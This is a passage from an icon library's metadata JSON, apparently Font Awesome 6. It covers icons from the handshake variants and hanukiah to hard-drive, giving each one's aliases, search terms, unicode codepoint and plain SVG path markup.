        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M323.4 85.2l-96.8 78.4c-16.1 13-19.2 36.4-7 53.1c12.9 17.8 38 21.3 55.3 7.8l99.3-77.2c7-5.4 17-4.2 22.5 2.8s4.2 17-2.8 22.5l-20.9 16.2L512 316.8V128h-.7l-3.9-2.5L434.8 79c-15.3-9.8-33.2-15-51.4-15c-21.8 0-43 7.5-60 21.2zm22.8 124.4l-51.7 40.2C263 274.4 217.3 268 193.7 235.6c-22.2-30.5-16.6-73.1 12.7-96.8l83.2-67.3c-11.6-4.9-24.1-7.4-36.8-7.4C234 64 215.7 69.6 200 80l-72 48V352h28.2l91.4 83.4c19.6 17.9 49.9 16.5 67.8-3.1c5.5-6.1 9.2-13.2 11.1-20.6l17 15.6c19.5 17.9 49.9 16.6 67.8-2.9c4.5-4.9 7.8-10.6 9.9-16.5c19.4 13 45.8 10.3 62.1-7.5c17.9-19.5 16.6-49.9-2.9-67.8l-134.2-123zM16 128c-8.8 0-16 7.2-16 16V352c0 17.7 14.3 32 32 32H64c17.7 0 32-14.3 32-32V128H16zM48 320a16 16 0 1 1 0 32 16 16 0 1 1 0-32zM544 128V352c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V144c0-8.8-7.2-16-16-16H544zm32 208a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M323.4 85.2l-96.8 78.4c-16.1 13-19.2 36.4-7 53.1c12.9 17.8 38 21.3 55.3 7.8l99.3-77.2c7-5.4 17-4.2 22.5 2.8s4.2 17-2.8 22.5l-20.9 16.2L512 316.8V128h-.7l-3.9-2.5L434.8 79c-15.3-9.8-33.2-15-51.4-15c-21.8 0-43 7.5-60 21.2zm22.8 124.4l-51.7 40.2C263 274.4 217.3 268 193.7 235.6c-22.2-30.5-16.6-73.1 12.7-96.8l83.2-67.3c-11.6-4.9-24.1-7.4-36.8-7.4C234 64 215.7 69.6 200 80l-72 48V352h28.2l91.4 83.4c19.6 17.9 49.9 16.5 67.8-3.1c5.5-6.1 9.2-13.2 11.1-20.6l17 15.6c19.5 17.9 49.9 16.6 67.8-2.9c4.5-4.9 7.8-10.6 9.9-16.5c19.4 13 45.8 10.3 62.1-7.5c17.9-19.5 16.6-49.9-2.9-67.8l-134.2-123zM16 128c-8.8 0-16 7.2-16 16V352c0 17.7 14.3 32 32 32H64c17.7 0 32-14.3 32-32V128H16zM48 320a16 16 0 1 1 0 32 16 16 0 1 1 0-32zM544 128V352c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V144c0-8.8-7.2-16-16-16H544zm32 208a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z"
      },
      "regular": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M272.2 64.6l-51.1 51.1c-15.3 4.2-29.5 11.9-41.5 22.5L153 161.9C142.8 171 129.5 176 115.8 176H96V304c20.4 .6 39.8 8.9 54.3 23.4l35.6 35.6 7 7 0 0L219.9 397c6.2 6.2 16.4 6.2 22.6 0c1.7-1.7 3-3.7 3.7-5.8c2.8-7.7 9.3-13.5 17.3-15.3s16.4 .6 22.2 6.5L296.5 393c11.6 11.6 30.4 11.6 41.9 0c5.4-5.4 8.3-12.3 8.6-19.4c.4-8.8 5.6-16.6 13.6-20.4s17.3-3 24.4 2.1c9.4 6.7 22.5 5.8 30.9-2.6c9.4-9.4 9.4-24.6 0-33.9L340.1 243l-35.8 33c-27.3 25.2-69.2 25.6-97 .9c-31.7-28.2-32.4-77.4-1.6-106.5l70.1-66.2C303.2 78.4 339.4 64 377.1 64c36.1 0 71 13.3 97.9 37.2L505.1 128H544h40 40c8.8 0 16 7.2 16 16V352c0 17.7-14.3 32-32 32H576c-11.8 0-22.2-6.4-27.7-16H463.4c-3.4 6.7-7.9 13.1-13.5 18.7c-17.1 17.1-40.8 23.8-63 20.1c-3.6 7.3-8.5 14.1-14.6 20.2c-27.3 27.3-70 30-100.4 8.1c-25.1 20.8-62.5 19.5-86-4.1L159 404l-7-7-35.6-35.6c-5.5-5.5-12.7-8.7-20.4-9.3C96 369.7 81.6 384 64 384H32c-17.7 0-32-14.3-32-32V144c0-8.8 7.2-16 16-16H56 96h19.8c2 0 3.9-.7 5.3-2l26.5-23.6C175.5 77.7 211.4 64 248.7 64H259c4.4 0 8.9 .2 13.2 .6zM544 320V176H496c-5.9 0-11.6-2.2-15.9-6.1l-36.9-32.8c-18.2-16.2-41.7-25.1-66.1-25.1c-25.4 0-49.8 9.7-68.3 27.1l-70.1 66.2c-10.3 9.8-10.1 26.3 .5 35.7c9.3 8.3 23.4 8.1 32.5-.3l71.9-66.4c9.7-9 24.9-8.4 33.9 1.4s8.4 24.9-1.4 33.9l-.8 .8 74.4 74.4c10 10 16.5 22.3 19.4 35.1H544zM64 336a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm528 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M272.2 64.6l-51.1 51.1c-15.3 4.2-29.5 11.9-41.5 22.5L153 161.9C142.8 171 129.5 176 115.8 176H96V304c20.4 .6 39.8 8.9 54.3 23.4l35.6 35.6 7 7 0 0L219.9 397c6.2 6.2 16.4 6.2 22.6 0c1.7-1.7 3-3.7 3.7-5.8c2.8-7.7 9.3-13.5 17.3-15.3s16.4 .6 22.2 6.5L296.5 393c11.6 11.6 30.4 11.6 41.9 0c5.4-5.4 8.3-12.3 8.6-19.4c.4-8.8 5.6-16.6 13.6-20.4s17.3-3 24.4 2.1c9.4 6.7 22.5 5.8 30.9-2.6c9.4-9.4 9.4-24.6 0-33.9L340.1 243l-35.8 33c-27.3 25.2-69.2 25.6-97 .9c-31.7-28.2-32.4-77.4-1.6-106.5l70.1-66.2C303.2 78.4 339.4 64 377.1 64c36.1 0 71 13.3 97.9 37.2L505.1 128H544h40 40c8.8 0 16 7.2 16 16V352c0 17.7-14.3 32-32 32H576c-11.8 0-22.2-6.4-27.7-16H463.4c-3.4 6.7-7.9 13.1-13.5 18.7c-17.1 17.1-40.8 23.8-63 20.1c-3.6 7.3-8.5 14.1-14.6 20.2c-27.3 27.3-70 30-100.4 8.1c-25.1 20.8-62.5 19.5-86-4.1L159 404l-7-7-35.6-35.6c-5.5-5.5-12.7-8.7-20.4-9.3C96 369.7 81.6 384 64 384H32c-17.7 0-32-14.3-32-32V144c0-8.8 7.2-16 16-16H56 96h19.8c2 0 3.9-.7 5.3-2l26.5-23.6C175.5 77.7 211.4 64 248.7 64H259c4.4 0 8.9 .2 13.2 .6zM544 320V176H496c-5.9 0-11.6-2.2-15.9-6.1l-36.9-32.8c-18.2-16.2-41.7-25.1-66.1-25.1c-25.4 0-49.8 9.7-68.3 27.1l-70.1 66.2c-10.3 9.8-10.1 26.3 .5 35.7c9.3 8.3 23.4 8.1 32.5-.3l71.9-66.4c9.7-9 24.9-8.4 33.9 1.4s8.4 24.9-1.4 33.9l-.8 .8 74.4 74.4c10 10 16.5 22.3 19.4 35.1H544zM64 336a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm528 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32z"
      }
    },
    "free": ["regular", "solid"]
  },
  "handshake-angle": {
    "aliases": {
      "names": ["hands-helping"],
      "unicodes": {
        "secondary": ["10f4c4"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["aid", "assistance", "handshake", "partnership", "volunteering"]
    },
    "styles": ["solid"],
    "unicode": "f4c4",
    "label": "Handshake Angle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M544 248v3.3l69.7-69.7c21.9-21.9 21.9-57.3 0-79.2L535.6 24.4c-21.9-21.9-57.3-21.9-79.2 0L416.3 64.5c-2.7-.3-5.5-.5-8.3-.5H296c-37.1 0-67.6 28-71.6 64H224V248c0 22.1 17.9 40 40 40s40-17.9 40-40V176c0 0 0-.1 0-.1V160l16 0 136 0c0 0 0 0 .1 0H464c44.2 0 80 35.8 80 80v8zM336 192v56c0 39.8-32.2 72-72 72s-72-32.2-72-72V129.4c-35.9 6.2-65.8 32.3-76 68.2L99.5 255.2 26.3 328.4c-21.9 21.9-21.9 57.3 0 79.2l78.1 78.1c21.9 21.9 57.3 21.9 79.2 0l37.7-37.7c.9 0 1.8 .1 2.7 .1H384c26.5 0 48-21.5 48-48c0-5.6-1-11-2.7-16H432c26.5 0 48-21.5 48-48c0-12.8-5-24.4-13.2-33c25.7-5 45.1-27.6 45.2-54.8v-.4c-.1-30.8-25.1-55.8-56-55.8c0 0 0 0 0 0l-120 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M544 248v3.3l69.7-69.7c21.9-21.9 21.9-57.3 0-79.2L535.6 24.4c-21.9-21.9-57.3-21.9-79.2 0L416.3 64.5c-2.7-.3-5.5-.5-8.3-.5H296c-37.1 0-67.6 28-71.6 64H224V248c0 22.1 17.9 40 40 40s40-17.9 40-40V176c0 0 0-.1 0-.1V160l16 0 136 0c0 0 0 0 .1 0H464c44.2 0 80 35.8 80 80v8zM336 192v56c0 39.8-32.2 72-72 72s-72-32.2-72-72V129.4c-35.9 6.2-65.8 32.3-76 68.2L99.5 255.2 26.3 328.4c-21.9 21.9-21.9 57.3 0 79.2l78.1 78.1c21.9 21.9 57.3 21.9 79.2 0l37.7-37.7c.9 0 1.8 .1 2.7 .1H384c26.5 0 48-21.5 48-48c0-5.6-1-11-2.7-16H432c26.5 0 48-21.5 48-48c0-12.8-5-24.4-13.2-33c25.7-5 45.1-27.6 45.2-54.8v-.4c-.1-30.8-25.1-55.8-56-55.8c0 0 0 0 0 0l-120 0z"
      }
    },
    "free": ["solid"]
  },
  "handshake-simple": {
    "aliases": {
      "names": ["handshake-alt"],
      "unicodes": {
        "composite": ["1f91d"],
        "secondary": ["10f4c6"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "agreement",
        "greeting",
        "hand",
        "handshake",
        "meeting",
        "partnership",
        "shake"
      ]
    },
    "styles": ["solid"],
    "unicode": "f4c6",
    "label": "Handshake Simple",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M323.4 85.2l-96.8 78.4c-16.1 13-19.2 36.4-7 53.1c12.9 17.8 38 21.3 55.3 7.8l99.3-77.2c7-5.4 17-4.2 22.5 2.8s4.2 17-2.8 22.5l-20.9 16.2L550.2 352H592c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48H516h-4-.7l-3.9-2.5L434.8 79c-15.3-9.8-33.2-15-51.4-15c-21.8 0-43 7.5-60 21.2zm22.8 124.4l-51.7 40.2C263 274.4 217.3 268 193.7 235.6c-22.2-30.5-16.6-73.1 12.7-96.8l83.2-67.3c-11.6-4.9-24.1-7.4-36.8-7.4C234 64 215.7 69.6 200 80l-72 48H48c-26.5 0-48 21.5-48 48V304c0 26.5 21.5 48 48 48H156.2l91.4 83.4c19.6 17.9 49.9 16.5 67.8-3.1c5.5-6.1 9.2-13.2 11.1-20.6l17 15.6c19.5 17.9 49.9 16.6 67.8-2.9c4.5-4.9 7.8-10.6 9.9-16.5c19.4 13 45.8 10.3 62.1-7.5c17.9-19.5 16.6-49.9-2.9-67.8l-134.2-123z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M323.4 85.2l-96.8 78.4c-16.1 13-19.2 36.4-7 53.1c12.9 17.8 38 21.3 55.3 7.8l99.3-77.2c7-5.4 17-4.2 22.5 2.8s4.2 17-2.8 22.5l-20.9 16.2L550.2 352H592c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48H516h-4-.7l-3.9-2.5L434.8 79c-15.3-9.8-33.2-15-51.4-15c-21.8 0-43 7.5-60 21.2zm22.8 124.4l-51.7 40.2C263 274.4 217.3 268 193.7 235.6c-22.2-30.5-16.6-73.1 12.7-96.8l83.2-67.3c-11.6-4.9-24.1-7.4-36.8-7.4C234 64 215.7 69.6 200 80l-72 48H48c-26.5 0-48 21.5-48 48V304c0 26.5 21.5 48 48 48H156.2l91.4 83.4c19.6 17.9 49.9 16.5 67.8-3.1c5.5-6.1 9.2-13.2 11.1-20.6l17 15.6c19.5 17.9 49.9 16.6 67.8-2.9c4.5-4.9 7.8-10.6 9.9-16.5c19.4 13 45.8 10.3 62.1-7.5c17.9-19.5 16.6-49.9-2.9-67.8l-134.2-123z"
      }
    },
    "free": ["solid"]
  },
  "handshake-simple-slash": {
    "aliases": {
      "names": ["handshake-alt-slash"],
      "unicodes": {
        "secondary": ["10e05f"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["broken", "covid-19", "social distance"]
    },
    "styles": ["solid"],
    "unicode": "e05f",
    "label": "Handshake Simple Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-135-105.8c-1.1-11.3-6.3-22.3-15.3-30.7l-134.2-123-23.4 18.2-26-20.3 77.2-60.1c7-5.4 17-4.2 22.5 2.8s4.2 17-2.8 22.5l-20.9 16.2L550.2 352H592c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48H516h-4-.7l-3.9-2.5L434.8 79c-15.3-9.8-33.2-15-51.4-15c-21.8 0-43 7.5-60 21.2l-89.7 72.6-25.8-20.3 81.8-66.2c-11.6-4.9-24.1-7.4-36.8-7.4C234 64 215.7 69.6 200 80l-35.5 23.7L38.8 5.1zM413.6 421.9L41.2 128.5C17.9 131.8 0 151.8 0 176V304c0 26.5 21.5 48 48 48H156.2l91.4 83.4c19.6 17.9 49.9 16.5 67.8-3.1c5.5-6.1 9.2-13.2 11.1-20.6l17 15.6c19.5 17.9 49.9 16.6 67.8-2.9c.8-.8 1.5-1.7 2.2-2.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-135-105.8c-1.1-11.3-6.3-22.3-15.3-30.7l-134.2-123-23.4 18.2-26-20.3 77.2-60.1c7-5.4 17-4.2 22.5 2.8s4.2 17-2.8 22.5l-20.9 16.2L550.2 352H592c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48H516h-4-.7l-3.9-2.5L434.8 79c-15.3-9.8-33.2-15-51.4-15c-21.8 0-43 7.5-60 21.2l-89.7 72.6-25.8-20.3 81.8-66.2c-11.6-4.9-24.1-7.4-36.8-7.4C234 64 215.7 69.6 200 80l-35.5 23.7L38.8 5.1zM413.6 421.9L41.2 128.5C17.9 131.8 0 151.8 0 176V304c0 26.5 21.5 48 48 48H156.2l91.4 83.4c19.6 17.9 49.9 16.5 67.8-3.1c5.5-6.1 9.2-13.2 11.1-20.6l17 15.6c19.5 17.9 49.9 16.6 67.8-2.9c.8-.8 1.5-1.7 2.2-2.6z"
      }
    },
    "free": ["solid"]
  },
  "handshake-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e060"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["broken", "covid-19", "social distance"]
    },
    "styles": ["solid"],
    "unicode": "e060",
    "label": "Handshake Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-135-105.8c-1.1-11.3-6.3-22.3-15.3-30.7l-134.2-123-23.4 18.2-26-20.3 77.2-60.1c7-5.4 17-4.2 22.5 2.8s4.2 17-2.8 22.5l-20.9 16.2L512 316.8V128h-.7l-3.9-2.5L434.8 79c-15.3-9.8-33.2-15-51.4-15c-21.8 0-43 7.5-60 21.2l-89.7 72.6-25.8-20.3 81.8-66.2c-11.6-4.9-24.1-7.4-36.8-7.4C234 64 215.7 69.6 200 80l-35.5 23.7L38.8 5.1zM413.6 421.9L128 196.8V352h28.2l91.4 83.4c19.6 17.9 49.9 16.5 67.8-3.1c5.5-6.1 9.2-13.2 11.1-20.6l17 15.6c19.5 17.9 49.9 16.6 67.8-2.9c.8-.8 1.5-1.7 2.2-2.6zM96 171.6L40.6 128H16c-8.8 0-16 7.2-16 16V352c0 17.7 14.3 32 32 32H64c17.7 0 32-14.3 32-32V171.6zM48 320a16 16 0 1 1 0 32 16 16 0 1 1 0-32zM544 128V352c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V144c0-8.8-7.2-16-16-16H544zm32 208a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-135-105.8c-1.1-11.3-6.3-22.3-15.3-30.7l-134.2-123-23.4 18.2-26-20.3 77.2-60.1c7-5.4 17-4.2 22.5 2.8s4.2 17-2.8 22.5l-20.9 16.2L512 316.8V128h-.7l-3.9-2.5L434.8 79c-15.3-9.8-33.2-15-51.4-15c-21.8 0-43 7.5-60 21.2l-89.7 72.6-25.8-20.3 81.8-66.2c-11.6-4.9-24.1-7.4-36.8-7.4C234 64 215.7 69.6 200 80l-35.5 23.7L38.8 5.1zM413.6 421.9L128 196.8V352h28.2l91.4 83.4c19.6 17.9 49.9 16.5 67.8-3.1c5.5-6.1 9.2-13.2 11.1-20.6l17 15.6c19.5 17.9 49.9 16.6 67.8-2.9c.8-.8 1.5-1.7 2.2-2.6zM96 171.6L40.6 128H16c-8.8 0-16 7.2-16 16V352c0 17.7 14.3 32 32 32H64c17.7 0 32-14.3 32-32V171.6zM48 320a16 16 0 1 1 0 32 16 16 0 1 1 0-32zM544 128V352c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V144c0-8.8-7.2-16-16-16H544zm32 208a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z"
      }
    },
    "free": ["solid"]
  },
  "hanukiah": {
    "aliases": {
      "unicodes": {
        "composite": ["1f54e"],
        "secondary": ["10f6e6"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "candelabrum",
        "candle",
        "candlestick",
        "hanukkah",
        "jewish",
        "judaism",
        "light",
        "menorah",
        "religion"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6e6",
    "label": "Hanukiah",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M314.2 3.3C309.1 12.1 296 36.6 296 56c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7C324.6 1.2 322.4 0 320 0s-4.6 1.2-5.8 3.3zm-288 48C21.1 60.1 8 84.6 8 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7C36.6 49.2 34.4 48 32 48s-4.6 1.2-5.8 3.3zM88 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3C101.1 60.1 88 84.6 88 104zm82.2-52.7C165.1 60.1 152 84.6 152 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3zM216 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3C229.1 60.1 216 84.6 216 104zM394.2 51.3C389.1 60.1 376 84.6 376 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3zM440 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3C453.1 60.1 440 84.6 440 104zm82.2-52.7C517.1 60.1 504 84.6 504 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3zM584 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3C597.1 60.1 584 84.6 584 104zM112 160c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm64 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm64 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm160 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm64 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm64 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zM352 144c0-17.7-14.3-32-32-32s-32 14.3-32 32V320H96c-17.7 0-32-14.3-32-32V192c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 53 43 96 96 96H288v64H160c-17.7 0-32 14.3-32 32s14.3 32 32 32H320 480c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V384H544c53 0 96-43 96-96V192c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 17.7-14.3 32-32 32H352V144z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M314.2 3.3C309.1 12.1 296 36.6 296 56c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7C324.6 1.2 322.4 0 320 0s-4.6 1.2-5.8 3.3zm-288 48C21.1 60.1 8 84.6 8 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7C36.6 49.2 34.4 48 32 48s-4.6 1.2-5.8 3.3zM88 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3C101.1 60.1 88 84.6 88 104zm82.2-52.7C165.1 60.1 152 84.6 152 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3zM216 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3C229.1 60.1 216 84.6 216 104zM394.2 51.3C389.1 60.1 376 84.6 376 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3zM440 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3C453.1 60.1 440 84.6 440 104zm82.2-52.7C517.1 60.1 504 84.6 504 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3zM584 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3C597.1 60.1 584 84.6 584 104zM112 160c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm64 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm64 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm160 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm64 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm64 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zM352 144c0-17.7-14.3-32-32-32s-32 14.3-32 32V320H96c-17.7 0-32-14.3-32-32V192c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 53 43 96 96 96H288v64H160c-17.7 0-32 14.3-32 32s14.3 32 32 32H320 480c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V384H544c53 0 96-43 96-96V192c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 17.7-14.3 32-32 32H352V144z"
      }
    },
    "free": ["solid"]
  },
  "hard-drive": {
    "aliases": {
      "names": ["hdd"],
      "unicodes": {
        "composite": ["1f5b4"],
        "secondary": ["10f0a0"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Hard Disk",
        "cpu",
        "hard drive",
        "harddrive",
        "machine",
        "save",
        "storage"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0a0",
    "label": "Hard Drive",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V280.4c-17-15.2-39.4-24.4-64-24.4H64c-24.6 0-47 9.2-64 24.4V96zM64 288H448c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V352c0-35.3 28.7-64 64-64zM320 416a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm128-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V280.4c-17-15.2-39.4-24.4-64-24.4H64c-24.6 0-47 9.2-64 24.4V96zM64 288H448c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V352c0-35.3 28.7-64 64-64zM320 416a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm128-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      },
      "regular": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 80c-8.8 0-16 7.2-16 16V258c5.1-1.3 10.5-2 16-2H448c5.5 0 10.9 .7 16 2V96c0-8.8-7.2-16-16-16H64zM48 320v96c0 8.8 7.2 16 16 16H448c8.8 0 16-7.2 16-16V320c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16zM0 320V96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V320v96c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V320zm280 48a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm120-24a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 80c-8.8 0-16 7.2-16 16V258c5.1-1.3 10.5-2 16-2H448c5.5 0 10.9 .7 16 2V96c0-8.8-7.2-16-16-16H64zM48 320v96c0 8.8 7.2 16 16 16H448c8.8 0 16-7.2 16-16V320c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16zM0 320V96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V320v96c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V320zm280 48a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm120-24a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hashnode": {
    "changes": ["6.0.0"],
